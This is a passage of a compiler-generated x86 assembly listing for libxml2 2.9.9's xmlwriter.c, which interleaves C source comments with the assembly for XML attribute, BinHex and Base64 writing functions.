xmlTextWriterWriteString(writer, content); push DWORD PTR _content$[ebp] push edi call _xmlTextWriterWriteString add esp, 8 ; 2037 : if (count < 0) test eax, eax js SHORT $LN40@xmlTextWri ; 2038 : return -1; ; 2039 : sum += count; ; 2040 : count = xmlTextWriterEndAttribute(writer); push edi add esi, eax call _xmlTextWriterEndAttribute add esp, 4 ; 2041 : if (count < 0) test eax, eax js SHORT $LN40@xmlTextWri ; 2043 : sum += count; pop edi add eax, esi ; 2044 : ; 2045 : return sum; ; 2046 : } pop esi pop ebp ret 0 $LN40@xmlTextWri: pop edi ; 2042 : return -1; or eax, -1 ; 2044 : ; 2045 : return sum; ; 2046 : } pop esi pop ebp ret 0 _xmlTextWriterWriteAttribute ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatAttribute _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _format$ = 16 ; size = 4 _argptr$ = 20 ; size = 4 _xmlTextWriterWriteVFormatAttribute PROC ; COMDAT ; 1997 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 1998 : int rc; ; 1999 : xmlChar *buf; ; 2000 : ; 2001 : if (writer == NULL) ; 2002 : return -1; ; 2003 : ; 2004 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2005 : if (buf == NULL) test edi, edi je SHORT $LN5@xmlTextWri ; 2007 : ; 2008 : rc = xmlTextWriterWriteAttribute(writer, name, buf); push edi push DWORD PTR _name$[ebp] push esi call _xmlTextWriterWriteAttribute ; 2009 : ; 2010 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 2011 : return rc; mov eax, esi pop edi ; 2012 : } pop esi pop ebp ret 0 $LN5@xmlTextWri: pop edi ; 2006 : return -1; or eax, -1 ; 2012 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatAttribute ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatAttribute _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _format$ = 16 ; size = 4 _xmlTextWriterWriteFormatAttribute PROC ; COMDAT ; 1970 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 ; 2001 : if (writer == NULL) mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 1971 : int rc; ; 1972 : va_list ap; ; 1973 : ; 1974 : va_start(ap, format); ; 1975 : ; 1976 : rc = xmlTextWriterWriteVFormatAttribute(writer, name, format, ap); ; 1977 : ; 1978 : va_end(ap); ; 1979 : return rc; or eax, -1 pop esi ; 1980 : } pop ebp ret 0 $LN4@xmlTextWri: push edi ; 2004 : buf = xmlTextWriterVSprintf(format, argptr); lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2005 : if (buf == NULL) test edi, edi jne SHORT $LN5@xmlTextWri ; 1971 : int rc; ; 1972 : va_list ap; ; 1973 : ; 1974 : va_start(ap, format); ; 1975 : ; 1976 : rc = xmlTextWriterWriteVFormatAttribute(writer, name, format, ap); ; 1977 : ; 1978 : va_end(ap); ; 1979 : return rc; pop edi or eax, -1 pop esi ; 1980 : } pop ebp ret 0 $LN5@xmlTextWri: ; 2008 : rc = xmlTextWriterWriteAttribute(writer, name, buf); push edi push DWORD PTR _name$[ebp] push esi call _xmlTextWriterWriteAttribute ; 2009 : ; 2010 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 1971 : int rc; ; 1972 : va_list ap; ; 1973 : ; 1974 : va_start(ap, format); ; 1975 : ; 1976 : rc = xmlTextWriterWriteVFormatAttribute(writer, name, format, ap); ; 1977 : ; 1978 : va_end(ap); ; 1979 : return rc; mov eax, esi pop edi pop esi ; 1980 : } pop ebp ret 0 _xmlTextWriterWriteFormatAttribute ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterEndAttribute _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterEndAttribute PROC ; COMDAT ; 1918 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN11@xmlTextWri ; 1919 : int count; ; 1920 : int sum; ; 1921 : xmlLinkPtr lk; ; 1922 : xmlTextWriterStackEntry *p; ; 1923 : ; 1924 : if (writer == NULL) ; 1925 : return -1; ; 1926 : ; 1927 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListFront add esp, 4 ; 1928 : if (lk == 0) { test eax, eax je SHORT $LN11@xmlTextWri ; 1929 : return -1; ; 1930 : } ; 1931 : ; 1932 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 1933 : if (p == 0) { test eax, eax je SHORT $LN11@xmlTextWri ; 1934 : return -1; ; 1935 : } ; 1936 : ; 1937 : sum = 0; ; 1938 : switch (p->state) { mov ecx, DWORD PTR [eax+4] sub ecx, 2 jne SHORT $LN11@xmlTextWri ; 1939 : case XML_TEXTWRITER_ATTRIBUTE: ; 1940 : p->state = XML_TEXTWRITER_NAME; mov DWORD PTR [eax+4], 1 ; 1941 : ; 1942 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea eax, DWORD PTR [esi+28] push eax push 1 push DWORD PTR [esi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 1943 : if (count < 0) { test eax, eax jns SHORT $LN1@xmlTextWri $LN11@xmlTextWri: ; 1944 : return -1; or eax, -1 $LN1@xmlTextWri: pop esi ; 1945 : } ; 1946 : sum += count; ; 1947 : break; ; 1948 : default: ; 1949 : return -1; ; 1950 : } ; 1951 : ; 1952 : return sum; ; 1953 : } pop ebp ret 0 _xmlTextWriterEndAttribute ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartAttributeNS _TEXT SEGMENT _nsentry$1 = -12 ; size = 12 _curns$1$ = 8 ; size = 4 _writer$ = 8 ; size = 4 _prefix$ = 12 ; size = 4 _name$ = 16 ; size = 4 _namespaceURI$ = 20 ; size = 4 _xmlTextWriterStartAttributeNS PROC ; COMDAT ; 1831 : { push ebp mov ebp, esp sub esp, 12 ; 0000000cH mov ecx, OFFSET __DA396148_xmlwriter@c push ebx push esi push edi call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _writer$[ebp] test edi, edi je $LN3@xmlTextWri ; 1832 : int count; ; 1833 : int sum; ; 1834 : xmlChar *buf; ; 1835 : xmlTextWriterNsStackEntry *p; ; 1836 : ; 1837 : if ((writer == NULL) || (name == NULL) || (*name == '\0')) mov ebx, DWORD PTR _name$[ebp] test ebx, ebx je $LN3@xmlTextWri cmp BYTE PTR [ebx], 0 je $LN3@xmlTextWri ; 1838 : return -1; ; 1839 : ; 1840 : /* Handle namespace first in case of error */ ; 1841 : if (namespaceURI != 0) { cmp DWORD PTR _namespaceURI$[ebp], 0 mov esi, DWORD PTR _prefix$[ebp] je $LN9@xmlTextWri ; 1842 : xmlTextWriterNsStackEntry nsentry, *curns; ; 1843 : ; 1844 : buf = xmlStrdup(BAD_CAST "xmlns"); push OFFSET ??_C@_05PPEFOGKI@xmlns@ call _xmlStrdup add esp, 4 mov ebx, eax ; 1845 : if (prefix != 0) { test esi, esi je SHORT $LN5@xmlTextWri ; 1846 : buf = xmlStrcat(buf, BAD_CAST ":"); push OFFSET ??_C@_01JLIPDDHJ@?3@ push ebx call _xmlStrcat ; 1847 : buf = xmlStrcat(buf, prefix); push esi push eax call _xmlStrcat add esp, 16 ; 00000010H mov ebx, eax $LN5@xmlTextWri: ; 1848 : } ; 1849 : ; 1850 : nsentry.prefix = buf; ; 1851 : nsentry.uri = (xmlChar *)namespaceURI; mov eax, DWORD PTR _namespaceURI$[ebp] ; 1852 : nsentry.elem = xmlListFront(writer->nodes); push DWORD PTR [edi+4] mov DWORD PTR _nsentry$1[ebp], ebx mov DWORD PTR _nsentry$1[ebp+4], eax call _xmlListFront mov DWORD PTR _nsentry$1[ebp+8], eax ; 1853 : ; 1854 : curns = (xmlTextWriterNsStackEntry *)xmlListSearch(writer->nsstack, lea eax, DWORD PTR _nsentry$1[ebp] push eax push DWORD PTR [edi+8] call _xmlListSearch add esp, 12 ; 0000000cH mov DWORD PTR _curns$1$[ebp], eax ; 1855 : (void *)&nsentry); ; 1856 : if ((curns != NULL)) { test eax, eax je SHORT $LN8@xmlTextWri ; 1857 : xmlFree(buf); push ebx call DWORD PTR _xmlFree ; 1858 : if (xmlStrcmp(curns->uri, namespaceURI) == 0) { mov eax, DWORD PTR _curns$1$[ebp] push DWORD PTR _namespaceURI$[ebp] push DWORD PTR [eax+4] call _xmlStrcmp add esp, 12 ; 0000000cH test eax, eax je $LN15@xmlTextWri $LN3@xmlTextWri: pop edi ; 1906 : } pop esi or eax, -1 pop ebx mov esp, ebp pop ebp ret 0 $LN8@xmlTextWri: ; 1859 : /* Namespace already defined on element skip */ ; 1860 : buf = NULL; ; 1861 : } else { ; 1862 : /* Prefix mismatch so error out */ ; 1863 : return -1; ; 1864 : } ; 1865 : } ; 1866 : ; 1867 : /* Do not add namespace decl to list - it is already there */ ; 1868 : if (buf != NULL) { test ebx, ebx je SHORT $LN15@xmlTextWri ; 1869 : p = (xmlTextWriterNsStackEntry *) push 12 ; 0000000cH call DWORD PTR _xmlMalloc mov esi, eax add esp, 4 ; 1870 : xmlMalloc(sizeof(xmlTextWriterNsStackEntry)); ; 1871 : if (p == 0) { test esi, esi jne SHORT $LN10@xmlTextWri ; 1872 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0DA@LBMIIMOH@xmlTextWriterStartAttributeNS?5?3@ push 2 push edi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 1906 : } or eax, -1 pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 $LN10@xmlTextWri: ; 1873 : "xmlTextWriterStartAttributeNS : out of memory!\n"); ; 1874 : return -1; ; 1875 : } ; 1876 : ; 1877 : p->prefix = buf; ; 1878 : p->uri = xmlStrdup(namespaceURI); push DWORD PTR _namespaceURI$[ebp] mov DWORD PTR [esi], ebx call _xmlStrdup add esp, 4 mov DWORD PTR [esi+4], eax ; 1879 : if (p->uri == 0) { test eax, eax jne SHORT $LN11@xmlTextWri ; 1880 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0DA@LBMIIMOH@xmlTextWriterStartAttributeNS?5?3@ push 2 push edi call _xmlWriterErrMsg ; 1881 : "xmlTextWriterStartAttributeNS : out of memory!\n"); ; 1882 : xmlFree(p); push esi call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 1906 : } or eax, -1 pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 $LN11@xmlTextWri: ; 1883 : return -1; ; 1884 : } ; 1885 : p->elem = xmlListFront(writer->nodes); push DWORD PTR [edi+4] call _xmlListFront mov DWORD PTR [esi+8], eax ; 1886 : ; 1887 : xmlListPushFront(writer->nsstack, p); push esi push DWORD PTR [edi+8] call _xmlListPushFront mov esi, DWORD PTR _prefix$[ebp] add esp, 12 ; 0000000cH $LN15@xmlTextWri: ; 1888 : } ; 1889 : } ; 1890 : ; 1891 : buf = NULL; mov ebx, DWORD PTR _name$[ebp] $LN9@xmlTextWri: xor eax, eax ; 1892 : if (prefix != 0) { test esi, esi je SHORT $LN12@xmlTextWri ; 1893 : buf = xmlStrdup(prefix); push esi call _xmlStrdup ; 1894 : buf = xmlStrcat(buf, BAD_CAST ":"); push OFFSET ??_C@_01JLIPDDHJ@?3@ push eax call _xmlStrcat add esp, 12 ; 0000000cH $LN12@xmlTextWri: ; 1895 : } ; 1896 : buf = xmlStrcat(buf, name); push ebx push eax call _xmlStrcat mov esi, eax ; 1897 : ; 1898 : sum = 0; ; 1899 : count = xmlTextWriterStartAttribute(writer, buf); push esi push edi call _xmlTextWriterStartAttribute ; 1900 : xmlFree(buf); push esi mov edi, eax call DWORD PTR _xmlFree add esp, 20 ; 00000014H ; 1901 : if (count < 0) test edi, edi js $LN3@xmlTextWri ; 1902 : return -1; ; 1903 : sum += count; ; 1904 : ; 1905 : return sum; mov eax, edi pop edi ; 1906 : } pop esi pop ebx mov esp, ebp pop ebp ret 0 _xmlTextWriterStartAttributeNS ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartAttribute _TEXT SEGMENT _p$1$ = 8 ; size = 4 _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _xmlTextWriterStartAttribute PROC ; COMDAT ; 1763 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je $LN5@xmlTextWri ; 1764 : int count; ; 1765 : int sum; ; 1766 : xmlLinkPtr lk; ; 1767 : xmlTextWriterStackEntry *p; ; 1768 : ; 1769 : if ((writer == NULL) || (name == NULL) || (*name == '\0')) mov ebx, DWORD PTR _name$[ebp] test ebx, ebx je $LN5@xmlTextWri cmp BYTE PTR [ebx], 0 je $LN5@xmlTextWri ; 1770 : return -1; ; 1771 : ; 1772 : sum = 0; ; 1773 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] xor edi, edi call _xmlListFront add esp, 4 ; 1774 : if (lk == 0) test eax, eax je $LN5@xmlTextWri ; 1775 : return -1; ; 1776 : ; 1777 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 mov DWORD PTR _p$1$[ebp], eax ; 1778 : if (p == 0) test eax, eax je SHORT $LN5@xmlTextWri ; 1779 : return -1; ; 1780 : ; 1781 : switch (p->state) { mov eax, DWORD PTR [eax+4] sub eax, 1 je SHORT $LN10@xmlTextWri sub eax, 1 jne SHORT $LN5@xmlTextWri ; 1782 : case XML_TEXTWRITER_ATTRIBUTE: ; 1783 : count = xmlTextWriterEndAttribute(writer); push esi call _xmlTextWriterEndAttribute mov edi, eax add esp, 4 ; 1784 : if (count < 0) test edi, edi js SHORT $LN5@xmlTextWri $LN10@xmlTextWri: ; 1785 : return -1; ; 1786 : sum += count; ; 1787 : /* fallthrough */ ; 1788 : case XML_TEXTWRITER_NAME: ; 1789 : count = xmlOutputBufferWriteString(writer->out, " "); push OFFSET ??_C@_01CLKCMJKC@?5@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 1790 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 1791 : return -1; ; 1792 : sum += count; ; 1793 : count = push ebx push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWriteString add esp, 8 ; 1794 : xmlOutputBufferWriteString(writer->out, ; 1795 : (const char *) name); ; 1796 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 1797 : return -1; ; 1798 : sum += count; ; 1799 : count = xmlOutputBufferWriteString(writer->out, "="); push OFFSET ??_C@_01NEMOKFLO@?$DN@ push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWriteString add esp, 8 ; 1800 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 1801 : return -1; ; 1802 : sum += count; add edi, eax ; 1803 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea eax, DWORD PTR [esi+28] push eax push 1 push DWORD PTR [esi] call _xmlOutputBufferWrite mov ecx, eax add esp, 12 ; 0000000cH ; 1804 : if (count < 0) test ecx, ecx js SHORT $LN5@xmlTextWri ; 1805 : return -1; ; 1806 : sum += count; ; 1807 : p->state = XML_TEXTWRITER_ATTRIBUTE; mov eax, DWORD PTR _p$1$[ebp] mov DWORD PTR [eax+4], 2 lea eax, DWORD PTR [ecx+edi] pop edi ; 1808 : break; ; 1809 : default: ; 1810 : return -1; ; 1811 : } ; 1812 : ; 1813 : return sum; ; 1814 : } pop esi pop ebx pop ebp ret 0 $LN5@xmlTextWri: pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 _xmlTextWriterStartAttribute ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteBinHex _TEXT SEGMENT _sum$1$ = -8 ; size = 4 _data$1$ = -4 ; size = 4 _out$1$ = 8 ; size = 4 _writer$ = 8 ; size = 4 _data$ = 12 ; size = 4 _start$ = 16 ; size = 4 _len$ = 20 ; size = 4 _xmlTextWriterWriteBinHex PROC ; COMDAT ; 1718 : { push ebp mov ebp, esp sub esp, 8 mov ecx, OFFSET __DA396148_xmlwriter@c push ebx push esi push edi call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je $LN3@xmlTextWri ; 1719 : int count; ; 1720 : int sum; ; 1721 : xmlLinkPtr lk; ; 1722 : xmlTextWriterStackEntry *p; ; 1723 : ; 1724 : if ((writer == NULL) || (data == NULL) || (start < 0) || (len < 0)) mov edi, DWORD PTR _data$[ebp] test edi, edi je $LN3@xmlTextWri cmp DWORD PTR _start$[ebp], 0 jl $LN3@xmlTextWri mov ebx, DWORD PTR _len$[ebp] test ebx, ebx js $LN3@xmlTextWri ; 1725 : return -1; ; 1726 : ; 1727 : sum = 0; ; 1728 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] mov DWORD PTR _sum$1$[ebp], 0 call _xmlListFront add esp, 4 ; 1729 : if (lk != 0) { test eax, eax je SHORT $LN5@xmlTextWri ; 1730 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 1731 : if (p != 0) { test eax, eax je SHORT $LN5@xmlTextWri ; 1732 : count = xmlTextWriterHandleStateDependencies(writer, p); push eax push esi call _xmlTextWriterHandleStateDependencies add esp, 8 mov DWORD PTR _sum$1$[ebp], eax ; 1733 : if (count < 0) test eax, eax js $LN3@xmlTextWri $LN5@xmlTextWri: ; 1734 : return -1; ; 1735 : sum += count; ; 1736 : } ; 1737 : } ; 1738 : ; 1739 : if (writer->indent) cmp DWORD PTR [esi+16], 0 je SHORT $LN7@xmlTextWri ; 1740 : writer->doindent = 0; mov DWORD PTR [esi+20], 0 $LN7@xmlTextWri: ; 1741 : ; 1742 : count = mov eax, DWORD PTR _start$[ebp] mov ecx, DWORD PTR [esi] add eax, edi mov DWORD PTR _data$1$[ebp], eax mov DWORD PTR _out$1$[ebp], ecx ; 1681 : if ((out == NULL) || (data == NULL) || (len < 0)) { test ecx, ecx je SHORT $LN3@xmlTextWri test eax, eax je SHORT $LN3@xmlTextWri ; 1682 : return -1; ; 1683 : } ; 1684 : ; 1685 : sum = 0; xor esi, esi ; 1686 : for (i = 0; i < len; i++) { xor edi, edi test ebx, ebx jle SHORT $LN8@xmlTextWri $LL13@xmlTextWri: ; 1687 : count = movzx eax, BYTE PTR [edi+eax] shr eax, 4 add eax, OFFSET ?hex@?1??xmlOutputBufferWriteBinHex@@9@9 push eax push 1 push ecx call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 1688 : xmlOutputBufferWrite(out, 1, ; 1689 : (const char *) &hex[data[i] >> 4]); ; 1690 : if (count == -1) cmp eax, -1 je SHORT $LN3@xmlTextWri ; 1691 : return -1; ; 1692 : sum += count; add esi, eax ; 1693 : count = mov eax, DWORD PTR _data$1$[ebp] movzx eax, BYTE PTR [edi+eax] and eax, 15 ; 0000000fH add eax, OFFSET ?hex@?1??xmlOutputBufferWriteBinHex@@9@9 push eax push 1 push DWORD PTR _out$1$[ebp] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 1694 : xmlOutputBufferWrite(out, 1, ; 1695 : (const char *) &hex[data[i] & 0xF]); ; 1696 : if (count == -1) cmp eax, -1 je SHORT $LN3@xmlTextWri ; 1697 : return -1; ; 1698 : sum += count; mov ecx, DWORD PTR _out$1$[ebp] add esi, eax mov eax, DWORD PTR _data$1$[ebp] inc edi cmp edi, ebx jl SHORT $LL13@xmlTextWri ; 1743 : xmlOutputBufferWriteBinHex(writer->out, len, ; 1744 : (unsigned char *) data + start); ; 1745 : if (count < 0) test esi, esi js SHORT $LN3@xmlTextWri $LN8@xmlTextWri: ; 1746 : return -1; ; 1747 : sum += count; mov eax, DWORD PTR _sum$1$[ebp] pop edi add eax, esi ; 1748 : ; 1749 : return sum; ; 1750 : } pop esi pop ebx mov esp, ebp pop ebp ret 0 $LN3@xmlTextWri: pop edi pop esi or eax, -1 pop ebx mov esp, ebp pop ebp ret 0 _xmlTextWriterWriteBinHex ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteBase64 _TEXT SEGMENT _data$1$ = -24 ; size = 4 _sum$1$ = -20 ; size = 4 _out$1$ = -16 ; size = 4 _linelen$1$ = -12 ; size = 4 _sum$1$ = -8 ; size = 4 _ogroup$1 = -4 ; size = 4 _igroup$2 = 8 ; size = 3 _writer$ = 8 ; size = 4 _data$ = 12 ; size = 4 _start$ = 16 ; size = 4 _len$ = 20 ; size = 4 _xmlTextWriterWriteBase64 PROC ; COMDAT ; 1625 : { push ebp mov ebp, esp sub esp, 24 ; 00000018H mov ecx, OFFSET __DA396148_xmlwriter@c push ebx push esi push edi call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je $LN3@xmlTextWri ; 1626 : int count; ; 1627 : int sum; ; 1628 : xmlLinkPtr lk; ; 1629 : xmlTextWriterStackEntry *p; ; 1630 : ; 1631 : if ((writer == NULL) || (data == NULL) || (start < 0) || (len < 0)) mov edi, DWORD PTR _data$[ebp] test edi, edi je $LN3@xmlTextWri cmp DWORD PTR _start$[ebp], 0 jl $LN3@xmlTextWri mov ebx, DWORD PTR _len$[ebp] test ebx, ebx js $LN3@xmlTextWri ; 1632 : return -1; ; 1633 : ; 1634 : sum = 0; ; 1635 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] mov DWORD PTR _sum$1$[ebp], 0 call _xmlListFront add esp, 4 ; 1636 : if (lk != 0) { test eax, eax je SHORT $LN5@xmlTextWri ; 1637 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 1638 : if (p != 0) { test eax, eax je SHORT $LN5@xmlTextWri ; 1639 : count = xmlTextWriterHandleStateDependencies(writer, p); push eax push esi call _xmlTextWriterHandleStateDependencies add esp, 8 mov DWORD PTR _sum$1$[ebp], eax ; 1640 : if (count < 0) test eax, eax js $LN3@xmlTextWri $LN5@xmlTextWri: ; 1641 : return -1; ; 1642 : sum += count; ; 1643 : } ; 1644 : } ; 1645 : ; 1646 : if (writer->indent) cmp DWORD PTR [esi+16], 0 je SHORT $LN7@xmlTextWri ; 1647 : writer->doindent = 0; mov DWORD PTR [esi+20], 0 $LN7@xmlTextWri: ; 1648 : ; 1649 : count = mov eax, DWORD PTR _start$[ebp] mov ecx, DWORD PTR [esi] add eax, edi mov DWORD PTR _data$1$[ebp], eax mov DWORD PTR _out$1$[ebp], ecx ; 1556 : if ((out == NULL) || (len < 0) || (data == NULL)) test ecx, ecx je $LN3@xmlTextWri test eax, eax je $LN3@xmlTextWri ; 1557 : return(-1); ; 1558 : ; 1559 : linelen = 0; ; 1560 : sum = 0; xor esi, esi mov DWORD PTR _linelen$1$[ebp], 0 mov DWORD PTR _sum$1$[ebp], esi ; 1561 : ; 1562 : i = 0; xor edi, edi npad 2 $LL11@xmlTextWri: mov esi, DWORD PTR _data$1$[ebp] ; 1563 : while (1) { ; 1564 : unsigned char igroup[3]; ; 1565 : unsigned char ogroup[4]; ; 1566 : int c; ; 1567 : int n; ; 1568 : ; 1569 : igroup[0] = igroup[1] = igroup[2] = 0; ; 1570 : for (n = 0; n < 3 && i < len; n++, i++) { xor eax, eax mov WORD PTR _igroup$2[ebp+1], 0 mov BYTE PTR _igroup$2[ebp], 0 npad 1 $LL15@xmlTextWri: cmp edi, ebx jge SHORT $LN14@xmlTextWri ; 1571 : c = data[i]; ; 1572 : igroup[n] = (unsigned char) c; mov cl, BYTE PTR [edi+esi] inc edi mov BYTE PTR _igroup$2[ebp+eax], cl inc eax cmp eax, 3 jl SHORT $LL15@xmlTextWri $LN14@xmlTextWri: ; 1573 : } ; 1574 : ; 1575 : if (n > 0) { mov esi, DWORD PTR _sum$1$[ebp] test eax, eax jle $LN18@xmlTextWri ; 1576 : ogroup[0] = dtable[igroup[0] >> 2]; movzx edx, BYTE PTR _igroup$2[ebp] ; 1577 : ogroup[1] = dtable[((igroup[0] & 3) << 4) | (igroup[1] >> 4)]; movzx esi, BYTE PTR _igroup$2[ebp+1] mov ecx, edx shr ecx, 2 and edx, 3 shl edx, 4 mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx] mov BYTE PTR _ogroup$1[ebp], cl mov ecx, esi shr ecx, 4 ; 1578 : ogroup[2] = and esi, 15 ; 0000000fH or ecx, edx shl esi, 2 movzx edx, BYTE PTR _igroup$2[ebp+2] mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx] mov BYTE PTR _ogroup$1[ebp+1], cl mov ecx, edx shr ecx, 6 ; 1579 : dtable[((igroup[1] & 0xF) << 2) | (igroup[2] >> 6)]; ; 1580 : ogroup[3] = dtable[igroup[2] & 0x3F]; and edx, 63 ; 0000003fH or ecx, esi mov ch, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx] mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[edx] mov BYTE PTR _ogroup$1[ebp+2], ch mov BYTE PTR _ogroup$1[ebp+3], cl ; 1581 : ; 1582 : if (n < 3) { cmp eax, 3 jge SHORT $LN20@xmlTextWri ; 1583 : ogroup[3] = '='; ; 1584 : if (n < 2) { cmp eax, 2 movzx ecx, ch mov eax, 61 ; 0000003dH mov BYTE PTR _ogroup$1[ebp+3], 61 ; 0000003dH cmovl ecx, eax mov BYTE PTR _ogroup$1[ebp+2], cl $LN20@xmlTextWri: ; 1585 : ogroup[2] = '='; ; 1586 : } ; 1587 : } ; 1588 : ; 1589 : if (linelen >= B64LINELEN) { cmp DWORD PTR _linelen$1$[ebp], 72 ; 00000048H jl SHORT $LN37@xmlTextWri ; 1590 : count = xmlOutputBufferWrite(out, 2, B64CRLF); push OFFSET ??_C@_02PCIJFNDE@?$AN?6@ push 2 push DWORD PTR _out$1$[ebp] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 1591 : if (count == -1) cmp eax, -1 je SHORT $LN3@xmlTextWri ; 1592 : return -1; ; 1593 : sum += count; mov esi, DWORD PTR _sum$1$[ebp] add esi, eax ; 1594 : linelen = 0; mov DWORD PTR _linelen$1$[ebp], 0 jmp SHORT $LN21@xmlTextWri $LN37@xmlTextWri: ; 1585 : ogroup[2] = '='; ; 1586 : } ; 1587 : } ; 1588 : ; 1589 : if (linelen >= B64LINELEN) { mov esi, DWORD PTR _sum$1$[ebp] $LN21@xmlTextWri: ; 1595 : } ; 1596 : count = xmlOutputBufferWrite(out, 4, (const char *) ogroup); lea eax, DWORD PTR _ogroup$1[ebp] push eax push 4 push DWORD PTR _out$1$[ebp] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 1597 : if (count == -1) cmp eax, -1 je SHORT $LN3@xmlTextWri ; 1598 : return -1; ; 1599 : sum += count; add esi, eax ; 1600 : ; 1601 : linelen += 4; add DWORD PTR _linelen$1$[ebp], 4 mov DWORD PTR _sum$1$[ebp], esi $LN18@xmlTextWri: ; 1602 : } ; 1603 : ; 1604 : if (i >= len) cmp edi, ebx jl $LL11@xmlTextWri ; 1650 : xmlOutputBufferWriteBase64(writer->out, len, ; 1651 : (unsigned char *) data + start); ; 1652 : if (count < 0) test esi, esi js SHORT $LN3@xmlTextWri ; 1653 : return -1; ; 1654 : sum += count; mov eax, DWORD PTR _sum$1$[ebp] pop edi add eax, esi ; 1655 : ; 1656 : return sum; ; 1657 : } pop esi pop ebx mov esp, ebp pop ebp ret 0 $LN3@xmlTextWri: pop edi pop esi or eax, -1 pop ebx mov esp, ebp pop ebp ret 0 _xmlTextWriterWriteBase64 ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteString _TEXT SEGMENT _writer$ = 8 ; size = 4 _content$ = 12 ; size = 4 